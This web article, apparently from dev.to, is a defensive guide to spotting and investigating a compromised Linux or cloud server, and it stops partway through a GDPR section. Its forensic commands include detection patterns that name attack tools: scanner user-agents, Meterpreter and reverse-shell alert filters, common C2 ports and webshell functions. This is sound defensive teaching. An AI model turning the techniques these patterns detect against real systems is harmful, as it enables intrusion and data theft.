cd /news/cybersecurity/how-to-know-if-a-threat-actor-has-ac… Β· home β€Ί topics β€Ί cybersecurity β€Ί article
[ARTICLE Β· art-12404] src=dev.to β†— pub= topic=cybersecurity verified=true sentiment=Β· neutral

How to Know If a Threat Actor Has Accessed Your Server

This article explains that every internet-connected server is a target for unauthorized access, and it provides a guide for detecting a compromise. It details common indicators of a breach, such as brute-force login attempts, creation of backdoor accounts, unexpected processes, and data exfiltration patterns. The guide also offers specific commands for examining system logs on both Linux and Windows servers to identify suspicious activity.

read44 min views23 publishedMay 23, 2026

A practical detection, investigation, and response guide for DevOps engineers, backend developers, security engineers, and startup CTOs.

Sobering reality:IBM's 2023 Cost of a Data Breach Report found that the average breach goesundetected for 204 daysβ€” nearly 7 months. By the time most teams notice something is wrong, the attacker has already been living in their infrastructure long enough to map every service, exfiltrate sensitive data, and install multiple persistence mechanisms. The detection gap, not the initial intrusion, is what turns an incident into a catastrophe.This guide closes that gap.

Table of Contents #

1. Introduction #

Every server connected to the internet is a target. It is not a question of if someone will attempt to access it without authorisation β€” it is a question of when, and whether you will detect it in time.

A server compromise occurs when an unauthorised party gains access to a system in a way that was not intended, permitted, or expected. This could range from a low-privilege attacker who merely explored your file system to a sophisticated threat actor who has maintained persistent access for months, exfiltrated data, and planted backdoors before you noticed anything unusual.

Normal vs. Suspicious vs. Confirmed Compromise

Understanding the difference between these three states is the foundation of any incident investigation.

State Description Example
Normal access
Expected behaviour from known users, services, or automated systems Your deployment pipeline SSH-ing in as deploy at 2:00 AM
Suspicious access
Anomalous activity that may or may not be malicious β€” requires investigation A root login from an unrecognised IP at 3:47 AM
Confirmed compromise
Evidence of unauthorised access, malicious activity, or data breach A reverse shell process running as www-data ; unknown SSH keys added

The critical skill is recognising the gap between "something looks off" and "we have been breached." Many teams either dismiss suspicious signals too quickly or panic at false positives. This guide will help you tell the difference β€” and act accordingly.

2. Common Signs a Threat Actor Accessed a Server #

Before diving into log analysis, you need to know what you are looking for. The following indicators are the most common signals that something is wrong.

2.1 Unusual Login Attempts (SSH / RDP / API)

MITRE ATT&CK: T1110 β€” Brute Force, T1078 β€” Valid Accounts

Brute-force attempts are often a precursor to or evidence of access. A high volume of failed logins followed by a single successful one is a textbook sign of a successful brute-force attack.

What to look for:

  • Multiple failed SSH attempts from the same or rotating IP addresses
  • Successful logins from geographic locations inconsistent with your team
  • Logins at unusual hours (3:00 AM when your team is in Lagos / London / NYC)
  • Logins from IPs flagged in threat intelligence databases (Shodan, AbuseIPDB)
  • API authentication tokens used from unexpected IP ranges

2.2 Unknown Users or Privilege Escalation

MITRE ATT&CK: T1136 β€” Create Account, T1548 β€” Abuse Elevation Control Mechanism

Attackers often create backdoor accounts or escalate privileges to maintain access.

What to look for:

  • New user accounts in /etc/passwd

you did not create - Users added to sudo

or thewheel

group without authorisation - Changes to /etc/sudoers

or/etc/sudoers.d/

  • A non-root user suddenly running processes as root
  • SUID/SGID binaries that were not there before

2.3 Unexpected Running Processes / Services

MITRE ATT&CK: T1059 β€” Command and Scripting Interpreter, T1543 β€” Create or Modify System Process

Malicious actors install tools β€” cryptominers, reverse shells, data exfiltration agents. These show up as unexpected processes.

What to look for:

  • Processes with random or disguised names (e.g., kworkerds

,sysupdate

,.init

) - Processes listening on unusual ports

  • Unknown services registered with systemd

orinit.d

  • Processes consuming excessive CPU (often cryptominers)
  • Processes running as www-data

,nginx

, or other service accounts but performing non-service tasks

2.4 Modified System Files / Configurations

MITRE ATT&CK: T1565 β€” Data Manipulation, T1601 β€” Modify System Image

Attackers modify system files to maintain persistence or disable defences.

What to look for:

  • Changes to /etc/hosts

(redirecting DNS) - Modified shell profiles: .bashrc

,.bash_profile

,.profile

,/etc/profile.d/

  • Altered PAM configuration files ( /etc/pam.d/

) - Modified SSH server config ( /etc/ssh/sshd_config

) β€” e.g.,PermitRootLogin yes

added - Timestamp discrepancies on critical binaries ( ls

,ps

,netstat

,find

) - Changes to web application files ( index.php

,config.js

) β€” webshells

2.5 Unusual Outbound / Inbound Network Traffic

MITRE ATT&CK: T1071 β€” Application Layer Protocol, T1041 β€” Exfiltration Over C2 Channel

Data exfiltration and command-and-control (C2) communication create distinctive network patterns.

What to look for:

  • Large outbound data transfers to unknown IPs, especially at odd hours
  • Connections to known malicious IP ranges or Tor exit nodes
  • Unusual protocols or ports (IRC on port 6667, DNS tunnelling, ICMP data transfer)
  • New persistent connections to external IPs from service accounts
  • DNS queries to domains with high entropy (DGA β€” Domain Generation Algorithm)

2.6 High CPU, RAM, or Disk Usage Anomalies

MITRE ATT&CK: T1496 β€” Resource Hijacking

Resource abuse is one of the most visible (and often first noticed) signs of compromise.

What to look for:

  • CPU usage consistently above 80–90% with no corresponding application load
  • Disk I/O spikes with no scheduled jobs running
  • Disk filling up rapidly with unexpected files
  • Memory exhaustion tied to an unknown process
  • Cryptomining malware is the most common cause β€” it is immediately visible in resource graphs

2.7 Disabled Security Tools or Logs

MITRE ATT&CK: T1562 β€” Impair Defenses, T1070 β€” Indicator Removal

A sophisticated attacker's first action is often to blind your monitoring.

What to look for:

auditd

,fail2ban

,iptables

, orufw

suddenly stopped or disabled - Log files that are empty, truncated, or have suspicious gaps #

cron

entries that pipe logs to/dev/null

  • Security agent (CrowdStrike, Wazuh, OSSEC) reporting offline

syslog

daemon stopped or replaced

2.8 Unexpected Cron Jobs / Scheduled Tasks

MITRE ATT&CK: T1053 β€” Scheduled Task/Job

Cron is a favourite persistence mechanism for attackers.

What to look for:

  • Entries in /var/spool/cron/crontabs/

you do not recognise - New files in /etc/cron.d/

,/etc/cron.hourly/

,/etc/cron.daily/

  • Cron jobs that download and execute scripts from external URLs
  • Windows: Scheduled Tasks created under \Microsoft\Windows\

in Task Scheduler - Systemd timers ( systemctl list-timers

) that are unexpected

2.9 New SSH Keys or Changed Credentials

MITRE ATT&CK: T1098 β€” Account Manipulation, T1556 β€” Modify Authentication Process

Attackers plant SSH keys to ensure persistent re-entry even after passwords are changed.

What to look for:

  • New entries in ~/.ssh/authorized_keys

for root or any user - New keys in /etc/ssh/authorized_keys

(if configured globally) - SSH host keys regenerated (check /etc/ssh/ssh_host_*

) - Changed /etc/passwd

or/etc/shadow

entries (password hash changes) - Cloud metadata service SSH key updates (AWS EC2 Instance Connect, GCP OS Login)

3. Where to Check β€” Logs & Evidence Sources #

Once you suspect compromise, you need to know exactly where to look. Here is a comprehensive map of log locations and what each reveals.

3.1 Linux System Logs

Log File Location What It Contains
auth.log
/var/log/auth.log (Debian/Ubuntu)
SSH logins, sudo usage, PAM events
secure
/var/log/secure (RHEL/CentOS/Amazon Linux)
Same as auth.log for RPM-based distros
syslog
/var/log/syslog
General system messages, daemon activity
kern.log
/var/log/kern.log
Kernel events, unusual driver/module loads
wtmp
/var/log/wtmp
Binary log of all logins/logouts (read with last )
btmp
/var/log/btmp
Binary log of failed logins (read with lastb )
lastlog
/var/log/lastlog
Most recent login per user (read with lastlog )
audit.log
/var/log/audit/audit.log
System call auditing (if auditd is enabled)

Using journalctl (systemd-based systems):

journalctl --since "24 hours ago"

journalctl -u ssh --since "2024-01-01" --until "2024-01-07"

journalctl _PID=1234

journalctl -k

journalctl -f

journalctl -p warning

3.2 Web Server Logs

Web servers are frequent entry points via exploited applications, LFI, RFI, SQL injection, or webshells.

Nginx:

tail -f /var/log/nginx/access.log

grep "POST" /var/log/nginx/access.log | grep -v "api\|login\|upload"

awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

grep -i "sqlmap\|nikto\|nmap\|masscan\|python-requests\|zgrab" /var/log/nginx/access.log

Apache:

tail -f /var/log/apache2/access.log

cat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn

3.3 Cloud Audit Logs

AWS CloudTrail:

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time 2024-01-01T00:00:00Z --end-time 2024-01-07T00:00:00Z

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=root

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AuthorizeSecurityGroupIngress

GCP Audit Logs:

gcloud logging read \
  "logName=projects/YOUR_PROJECT/logs/cloudaudit.googleapis.com%2Factivity" \
  --limit 100 --format json

gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit 50

Azure Monitor:

az monitor activity-log list \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-07T00:00:00Z \
  --query "[?authorization.action=='Microsoft.Authorization/roleAssignments/write']"

3.4 Firewall and WAF Logs

iptables -L -n -v

grep "iptables" /var/log/syslog | tail -50

grep "UFW" /var/log/ufw.log | grep "BLOCK" | tail -50

fail2ban-client status sshd

fail2ban-client status

3.5 Container and Kubernetes Logs

MITRE ATT&CK: T1610 β€” Deploy Container, T1613 β€” Container and Resource Discovery

docker logs <container_id> --tail 200 --follow

docker top <container_id>

docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.CreatedAt}}\t{{.Status}}"

docker inspect <container_id> | jq '.[].HostConfig.Binds'

kubectl logs <pod-name> -n <namespace> --previous

kubectl get events --all-namespaces --sort-by=.metadata.creationTimestamp

kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'

kubectl get rolebindings,clusterrolebindings --all-namespaces -o wide

kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<sa-name>

kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.automountServiceAccountToken!=false) | 
  {name: .metadata.name, namespace: .metadata.namespace}'

kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | 
  {name: .metadata.name, namespace: .metadata.namespace}'

kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) |
  {name: .metadata.name, namespace: .metadata.namespace}'

ls -la /var/run/docker.sock 2>/dev/null && echo "WARNING: Docker socket mounted"

cat /proc/1/cgroup

grep '"verb":"exec"' /var/log/kubernetes/audit.log | jq .
grep '"verb":"port-forward"' /var/log/kubernetes/audit.log | jq .
grep '"username":"system:anonymous"' /var/log/kubernetes/audit.log | jq .

3.6 EDR and SIEM Queries

index=endpoint | eval parent_child=parent_process+"-"+process_name
| stats count by parent_child | sort -count

event.code: 4728 OR event.code: 4732

event.action: "network_connection" AND destination.port: 445

4. Network-Based Detection #

Network telemetry often reveals attacker activity before host logs do β€” especially when logs have been tampered with. This section covers the tools and techniques for network-level forensics.

4.1 Zeek (formerly Bro) Log Analysis

Zeek is a powerful network analysis framework that passively monitors traffic and writes structured logs. On a compromised network, Zeek logs are gold.

apt install zeek -y


cat /var/log/zeek/current/conn.log | \
  zeek-cut id.orig_h id.resp_h id.resp_p duration | \
  sort -k4 -rn | head -20

cat /var/log/zeek/current/conn.log | \
  zeek-cut id.orig_h id.resp_h resp_bytes | \
  awk '$3 > 10000000' | sort -k3 -rn | head -10

cat /var/log/zeek/current/dns.log | \
  zeek-cut query | sort | uniq -c | sort -rn | head -30

cat /var/log/zeek/current/http.log | \
  zeek-cut id.orig_h host uri user_agent | \
  grep -i "curl\|wget\|python\|go-http\|libwww" | head -20

comm -12 \
  <(cat /var/log/zeek/current/conn.log | zeek-cut id.resp_h | sort -u) \
  <(curl -s https://check.torproject.org/torbulkexitlist | sort -u)

4.2 Suricata IDS Alert Triage

Suricata is an open-source IDS/IPS that writes alerts in EVE JSON format.

apt install suricata -y
suricata-update  # Pull latest Emerging Threats ruleset

tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'

jq 'select(.event_type=="alert") | {timestamp, src_ip, dest_ip, alert: .alert.signature, severity: .alert.severity}' \
  /var/log/suricata/eve.json | less

jq 'select(.event_type=="alert" and .alert.severity==1)' \
  /var/log/suricata/eve.json

jq 'select(.event_type=="alert") | select(.alert.signature | test("C2|beacon|Cobalt|Meterpreter|reverse"))' \
  /var/log/suricata/eve.json

jq -r 'select(.event_type=="alert") | .alert.signature' \
  /var/log/suricata/eve.json | sort | uniq -c | sort -rn | head -20

jq 'select(.event_type=="dns" and .dns.type=="answer")' \
  /var/log/suricata/eve.json | head -20

4.3 DNS Query Forensics

DNS is abused for data exfiltration, C2 communication, and DGA-based malware.

resolvectl statistics

auditctl -w /etc/resolv.conf -p wa -k dns_config_change

tcpdump -i eth0 -n port 53 -w /tmp/dns_capture.pcap
tshark -r /tmp/dns_capture.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -rn

grep -r "dns.google\|cloudflare-dns.com\|1.1.1.1\|8.8.8.8" \
  /var/log/nginx/access.log /var/log/syslog 2>/dev/null

cat /var/log/zeek/current/dns.log | zeek-cut query | \
  awk 'length($1) > 50' | head -20

cat /var/log/zeek/current/dns.log | zeek-cut query | \
  sort | uniq -c | sort -rn | head -20

4.4 AWS VPC Flow Log Analysis for C2 Identification

VPC Flow Logs capture all IP traffic to/from your EC2 instances and are invaluable for detecting C2, lateral movement, and exfiltration.

aws ec2 create-flow-logs \
  --resource-type VPC \
  --resource-ids vpc-YOUR_VPC_ID \
  --traffic-type ALL \
  --log-destination-type cloud-watch-logs \
  --log-group-name /aws/vpc/flowlogs \
  --deliver-logs-permission-arn arn:aws:iam::ACCOUNT:role/FlowLogsRole

SELECT srcaddr, dstaddr, sum(bytes) as total_bytes
FROM vpc_flow_logs
WHERE action = 'ACCEPT'
  AND dstaddr NOT LIKE '10.%'
  AND dstaddr NOT LIKE '172.16.%'
  AND dstaddr NOT LIKE '192.168.%'
GROUP BY srcaddr, dstaddr
ORDER BY total_bytes DESC
LIMIT 20;

SELECT srcaddr, dstaddr, dstport, protocol, sum(packets) as pkt_count
FROM vpc_flow_logs
WHERE dstport IN (4444, 4445, 8080, 8443, 1337, 31337, 6667, 1080)
  AND action = 'ACCEPT'
GROUP BY srcaddr, dstaddr, dstport, protocol
ORDER BY pkt_count DESC;

SELECT srcaddr, count(distinct dstaddr) as unique_dsts, sum(packets) as total_pkts
FROM vpc_flow_logs
WHERE action = 'REJECT'
GROUP BY srcaddr
HAVING count(distinct dstaddr) > 100
ORDER BY unique_dsts DESC;

SELECT srcaddr, dstaddr, dstport,
       date_trunc('minute', from_unixtime(start)) as minute_bucket,
       count(*) as connections
FROM vpc_flow_logs
WHERE action = 'ACCEPT'
  AND dstaddr NOT LIKE '10.%'
GROUP BY srcaddr, dstaddr, dstport, date_trunc('minute', from_unixtime(start))
HAVING count(*) > 1
ORDER BY connections DESC;

5. Step-by-Step Investigation Playbook #

When you suspect a compromise, do not panic and do not immediately shut the server down β€” you may destroy forensic evidence. Follow this structured process.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                  INCIDENT INVESTIGATION FLOW                    β”‚
β”‚                                                                 β”‚
β”‚  1. Confirm Indicators  β†’  2. Preserve Evidence                 β”‚
β”‚           ↓                        ↓                            β”‚
β”‚  3. Identify Access     β†’  4. Determine Attacker Actions        β”‚
β”‚     Vector                         ↓                            β”‚
β”‚           ↓                5. Check Persistence                 β”‚
β”‚  6. Scope Affected      ←          ↓                            β”‚
β”‚     Systems             ←  7. Reconstruct Timeline              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Step 1 β€” Confirm Suspicious Indicators

Before escalating, verify that what you are seeing is genuinely anomalous. Cross-reference against:

  • Your deployment schedule (was that 3 AM login from your CI/CD pipeline?)
  • IP allow-lists and team VPN ranges
  • Recently onboarded engineers or contractors
  • Any known penetration tests or red team engagements

If after cross-referencing you cannot explain the activity, treat it as a confirmed incident.

Step 2 β€” Preserve Evidence

This is the most time-critical step. Evidence can be overwritten, logs can rotate, and memory is volatile.

mkdir -p /tmp/forensics && cd /tmp/forensics

ps auxf > processes.txt

ss -tulpn > network_connections.txt

who > who.txt && w >> who.txt && last -n 100 > last_logins.txt

iptables-save > iptables_rules.txt

crontab -l > root_cron.txt 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ===" >> all_crontabs.txt
  crontab -u "$user" -l 2>/dev/null >> all_crontabs.txt
done

lsmod > kernel_modules.txt

cp /var/log/auth.log ./ 2>/dev/null || cp /var/log/secure ./ 2>/dev/null
cp /var/log/syslog ./ 2>/dev/null

sha256sum * > evidence_hashes.txt

Memory acquisition with LiME (Linux Memory Extractor):

Unlike avml

(which is Azure-specific and requires pre-deployment), LiME is a loadable kernel module that works across all Linux distributions and can be compiled on-demand.

apt install linux-headers-$(uname -r) build-essential git -y  # Debian/Ubuntu

git clone https://github.com/504ensicsLabs/LiME.git /tmp/LiME
cd /tmp/LiME/src
make


insmod lime-$(uname -r).ko "path=/tmp/forensics/memory.lime format=lime"

insmod lime-$(uname -r).ko "path=tcp:4242 format=lime"

rmmod lime

pip3 install volatility3

vol -f memory.lime linux.pslist.PsList

vol -f memory.lime linux.netstat.Netstat

vol -f memory.lime linux.pstree.PsTree

vol -f memory.lime linux.bash.Bash

vol -f memory.lime linux.library_list.LibraryList

Cloud best practice:Before acquiring memory,take an EBS snapshot / cloud disk snapshot. This preserves the entire disk state and is your fastest path to a forensic copy. A disk snapshot takes seconds; LiME compilation may take minutes.

Step 3 β€” Identify the Initial Access Vector

How did they get in? Common vectors and where to look for each:

Vector MITRE ATT&CK Where to Look
Brute-forced SSH T1110.001
auth.log β€” many failed logins then success
Exploited web application T1190 Web server logs β€” unusual POST requests, 500 spikes
Stolen credentials / leaked key T1078 CloudTrail / IAM logs β€” access from unexpected IPs
Supply chain (compromised dependency) T1195 Application logs β€” unusual library behaviour
Phishing β†’ credential theft T1566 Email logs, SIEM identity events
Unpatched CVE T1203 Check versions: nginx -v , openssl version , etc.
Exposed cloud storage T1530 S3/GCS access logs β€” GetObject from unknown IPs
Misconfigured metadata service (SSRF) T1552.005 SSRF logs, cloud audit logs for credential usage
grep "Accepted" /var/log/auth.log | grep -v "YOUR_KNOWN_IPS"

grep -E "(UNION|SELECT|DROP|exec\(|eval\(|base64_decode|cmd=|exec=)" \
  /var/log/nginx/access.log

find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | \
  grep -v "\.log$" | head -50

Step 4 β€” Determine Attacker Actions

cat /root/.bash_history
for user in $(cut -f1 -d: /etc/passwd); do
  home=$(eval echo "~$user")
  if [ -f "$home/.bash_history" ]; then
    echo "=== History for $user ===" && cat "$home/.bash_history"
  fi
done

ls -la /root/.bash_history

find / -atime -1 -type f -not -path "/proc/*" 2>/dev/null | head -30

ausearch -i -m execve --start recent

grep "ESTABLISHED\|SYN_SENT" /tmp/forensics/network_connections.txt

Step 5 β€” Check Persistence Mechanisms

find /home /root /etc -name "authorized_keys" 2>/dev/null -exec echo "=== {} ===" \; \
  -exec cat {} \;

ls -la /etc/cron* /var/spool/cron/crontabs/ && cat /etc/cron.d/*

systemctl list-units --type=service --state=running
find /etc/systemd/system/ -name "*.service" -newer /etc/passwd

find /var/www /srv /opt -name "*.php" \
  -exec grep -l "eval\|system\|exec\|base64_decode\|passthru" {} \;

find / -perm -4000 -type f -not -path "/proc/*" 2>/dev/null

ls -la /etc/rc.local /etc/rc*.d/ /etc/init.d/

cat /etc/ld.so.preload 2>/dev/null && env | grep LD_PRELOAD

Step 6 β€” Scope Affected Systems

cat ~/.ssh/known_hosts && cat /etc/hosts && arp -n

grep "Accepted\|publickey\|password" /var/log/auth.log | grep "from"

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-YOUR_INSTANCE_ID

Step 7 β€” Timeline Reconstruction

cat /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | \
  sort -k1,3 > /tmp/forensics/unified_timeline.txt

find / -newermt "2024-01-15 02:00" ! -newermt "2024-01-15 06:00" \
  -type f -not -path "/proc/*" 2>/dev/null

6. Useful Commands & Tools #

6.1 Login and Session Investigation

last -n 50 -a   # -a shows hostname/IP in last column

lastlog | grep -v "Never logged in"

who -a

w

6.2 Process Investigation

ps aux --sort=-%cpu | head -20

ps auxf
pstree -aup

lsof -i           # All network connections
lsof -i :4444     # Who is using port 4444?
lsof -p <PID>     # All files opened by a specific PID
lsof | grep deleted  # Malware deleted from disk but still running in memory

6.3 Network Investigation

ss -tulpn          # All listening sockets with process names
ss -tnp            # All established TCP connections with process names

ss -tnp | grep -v "127.0.0.1\|::1\|10\.\|172\.16\.\|192\.168\."

6.4 File System Forensics

find / -mtime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

find /var/www -newermt "2024-01-15 00:00" ! -newermt "2024-01-16 00:00" -type f

find / -perm -o+w -type f -not -path "/proc/*" 2>/dev/null

find / -type f \( -perm -4000 -o -perm -2000 \) -not -path "/proc/*" 2>/dev/null

find / -name ".*" -type f -not -path "/proc/*" -not -path "/home/*/.bash*" 2>/dev/null | head -30

6.5 Rootkit Detection

apt install chkrootkit  # OR yum install chkrootkit
chkrootkit -q           # Only show positive findings

apt install rkhunter
rkhunter --update       # Update signatures first
rkhunter --check --rwo  # Only show warnings

6.6 System Auditing with auditd

apt install auditd && systemctl enable auditd && systemctl start auditd

auditctl -w /etc/passwd -p wa -k passwd_change
auditctl -w /etc/sudoers -p wa -k sudoers_change
auditctl -w /tmp -p x -k tmp_exec             # Exec from /tmp (common malware staging)
auditctl -w /bin/bash -p x -k bash_exec

ausearch -k passwd_change          # Events matching watch key
ausearch -m execve --start today   # All exec calls today
ausearch -x /bin/bash --start yesterday

aureport --summary
aureport --login --failed
aureport --exec

6.7 fail2ban

systemctl status fail2ban

fail2ban-client status
fail2ban-client status sshd

fail2ban-client set sshd banip 203.0.113.42

fail2ban-client banned

7. MITRE ATT&CK Technique Mapping #

The MITRE ATT&CK framework provides a standardised vocabulary for attacker behaviour. Use these mappings to align your detection rules, SIEM queries, and threat hunting to industry-standard technique IDs.

ATT&CK Tactic Technique ID Technique Name Indicator / Detection
Initial Access T1190 Exploit Public-Facing Application Web server 500 errors, unusual POST payloads
Initial Access T1078 Valid Accounts Successful logins from unexpected IPs
Initial Access T1110.001 Brute Force: Password Guessing SSH failed login spikes in auth.log
Initial Access T1566.001 Phishing: Spearphishing Attachment Email logs, browser forensics
Initial Access T1195 Supply Chain Compromise Unexpected behaviour in dependency code
Execution T1059.004 Unix Shell Unexpected shell spawned from web process
Execution T1059.001 PowerShell PowerShell with -EncodedCommand or download
Persistence T1053.003 Cron Job Unknown entries in /etc/cron.d/
Persistence T1098.004 SSH Authorized Keys New keys in ~/.ssh/authorized_keys
Persistence T1543.002 Systemd Service Unknown .service files in /etc/systemd/
Persistence T1136.001 Create Local Account New entries in /etc/passwd
Privilege Escalation T1548.001 Setuid/Setgid New SUID binaries not in baseline
Privilege Escalation T1548.003 Sudo Caching NOPASSWD entries in sudoers
Defence Evasion T1562.001 Disable or Modify Tools
auditd / fail2ban stopped
Defence Evasion T1070.002 Clear Linux/Mac System Logs Log files truncated; gaps in timestamps
Defence Evasion T1574.006 LD_PRELOAD Unexpected /etc/ld.so.preload entries
Credential Access T1552.004 Private Keys SSH private keys exfiltrated from ~/.ssh/
Credential Access T1003 OS Credential Dumping
/etc/shadow accessed; mimikatz on Windows
Discovery T1082 System Information Discovery
uname -a , id , hostname in bash history
Discovery T1046 Network Service Discovery Port scanning activity in firewall logs
Lateral Movement T1021.004 Remote Services: SSH SSH connections to other internal hosts
Collection T1005 Data from Local System Unusual find / tar / zip commands
Exfiltration T1041 Exfiltration Over C2 Channel Large outbound transfers on established C2 port
Exfiltration T1048 Exfiltration Over Alternative Protocol DNS tunnelling, ICMP data transfer
Command & Control T1071.004 Application Layer Protocol: DNS High-entropy DNS queries; DNS tunnelling
Command & Control T1071.001 Web Protocols HTTPS C2 over port 443 to unknown IPs
Impact T1496 Resource Hijacking Cryptominer processes; 90%+ CPU with no load
Impact T1485 Data Destruction Mass file deletion; rm -rf in audit logs

Practical use:When you discover an indicator, look up its ATT&CK technique ID. Then check the ATT&CK page for "Mitigations" and "Detections" β€” the community has already written SIEM rules and EDR signatures for most techniques. Use[MITRE ATT&CK Navigator]to visualise your detection coverage.

8. Indicators of Compromise (IoC) Checklist #

Use this checklist during an active investigation. Check each item and record your findings.

# Indicator Where to Check MITRE ID Status
1 New or unrecognised user accounts /etc/passwd
T1136 ☐
2 Users added to sudo / wheel group
/etc/sudoers , getent group sudo
T1548 ☐
3 Unrecognised SSH authorized_keys
~/.ssh/authorized_keys (all users)
T1098.004 ☐
4 Unexpected successful SSH logins
/var/log/auth.log or secure
T1078 ☐
5 Logins from unexpected IPs or geos
last -a , CloudTrail / audit logs
T1078 ☐
6 Unknown or high-CPU processes ps aux --sort=-%cpu
T1496 ☐
7 Processes on unexpected ports ss -tulpn
T1571 ☐
8 Unexpected outbound connections
ss -tnp , VPC Flow Logs
T1041 ☐
9 Unknown or modified cron jobs
crontab -l , /etc/cron.d/
T1053.003 ☐
10 Unknown systemd services systemctl list-units --type=service
T1543.002 ☐
11 Modified system binaries
rkhunter --check , debsums , rpm -Va
T1601 ☐
12 Webshells in web root find /var/www -name "*.php" -exec grep -l eval {} \;
T1505.003 ☐
13 SUID binaries not in baseline find / -perm -4000
T1548.001 ☐
14 Modified /etc/hosts or DNS config
cat /etc/hosts , cat /etc/resolv.conf
T1565 ☐
15 Modified SSH server config cat /etc/ssh/sshd_config
T1556 ☐
16 Modified PAM config ls -la /etc/pam.d/
T1556.003 ☐
17 Disabled or stopped security tools systemctl status auditd fail2ban
T1562.001 ☐
18 Gaps or tampering in log files
ls -la /var/log/ , check file sizes
T1070.002 ☐
19 Unusual files in /tmp , /dev/shm
ls -la /tmp/ /dev/shm/ /var/tmp/
T1059 ☐
20 Unexpected kernel modules lsmod
T1215 ☐
21 New firewall rules (ports opened)
iptables -L -n , cloud security groups
T1562.004 ☐
22 Cloud IAM changes or new API keys CloudTrail, GCP Audit Logs, Azure Monitor T1078.004 ☐
23 Large outbound data transfers Network flow logs, VPC Flow Logs T1048 ☐
24 Rootkit detection findings
chkrootkit -q , rkhunter --check --rwo
T1014 ☐
25 Modified .bashrc / .profile
cat /root/.bashrc
T1546.004 ☐
26 Privileged / host-mounted containers kubectl get pods --all-namespaces -o json
T1610 ☐
27 High-entropy DNS queries Zeek dns.log , Suricata EVE JSON
T1071.004 ☐
28 Suricata / IDS C2 alerts /var/log/suricata/eve.json
T1071.001 ☐
29
LD_PRELOAD entries
cat /etc/ld.so.preload
T1574.006 ☐
30 Deleted files still running in memory `lsof grep deleted` T1070

9. Immediate Response Actions #

Once compromise is confirmed, act decisively and in the correct order.

9.1 Isolate the Server

iptables -I INPUT -s YOUR_IP/32 -j ACCEPT
iptables -I OUTPUT -d YOUR_IP/32 -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

aws ec2 revoke-security-group-ingress \
  --group-id sg-XXXX --protocol all --cidr 0.0.0.0/0

Snapshot the disk

beforeisolating the server for forensic preservation.

9.2 Kill Malicious Sessions

who && w

pkill -kill -t pts/1

kill -9 <PID>

pkill -u suspicioususer

9.3 Rotate All Credentials

Rotate after isolation to prevent the attacker from responding destructively.

ssh-keygen -t ed25519 -C "new_key_post_incident_$(date +%F)"

passwd root && passwd <other_users>

aws iam create-access-key --user-name YOUR_USER
aws iam delete-access-key --user-name YOUR_USER --access-key-id OLD_KEY_ID

psql -U postgres -c "ALTER USER appuser WITH PASSWORD 'new_strong_password';"

9.4 Patch the Exploited Vulnerability

apt update && apt upgrade -y

yum update -y

apt install --only-upgrade openssh-server

9.5 Restore from Backups

md5sum /usr/bin/ls /bin/bash /sbin/sshd > current_hashes.txt
diff baseline_hashes.txt current_hashes.txt

rsync -avz backup_server:/backups/latest/etc/ /etc/

9.6 Notify Stakeholders

Timely, accurate communication is a legal and operational requirement β€” see Section 10 for regulatory obligations.

Internal (immediately on confirmation):

  • CTO / Engineering Lead
  • Legal and Compliance
  • On-call team

External (based on data exposure assessment):

  • Affected customers
  • Data protection authorities
  • Cyber insurance provider
  • Law enforcement (for significant breaches or ransomware)

A server compromise is not just a technical event β€” it is a legal event. The moment you confirm that personal data, payment data, or protected health information may have been accessed, a regulatory clock starts ticking. Ignoring this can result in fines that dwarf your remediation costs.

10.1 GDPR (General Data Protection Regulation)

Applies to any organisation that processes data of EU/UK residents, regardless of where your servers are located.

Obligation Requirement Deadline
Supervisory Authority Notification
Report to your national DPA if the breach is likely to result in risk to individuals
72 hours from becoming aware
Individual Notification
Notify affected individuals directly if the breach is likely to result in high risk
Without undue delay
Documentation
Record all breaches, even if not reported externally Immediate; kept permanently

Key GDPR contacts (examples):

  • UK: ICO β€” ico.org.uk/report-a-breach
  • Ireland: DPC β€” dataprotection.ie
  • Germany: Each Bundesland has its own DPA
GDPR Breach Assessment Checklist:
☐ What categories of personal data were exposed?
  (Names, emails = low risk | Health data, financial = HIGH risk)
☐ How many data subjects are affected?
☐ Can the data be used to cause harm (identity theft, discrimination)?
☐ Was the data encrypted at rest?
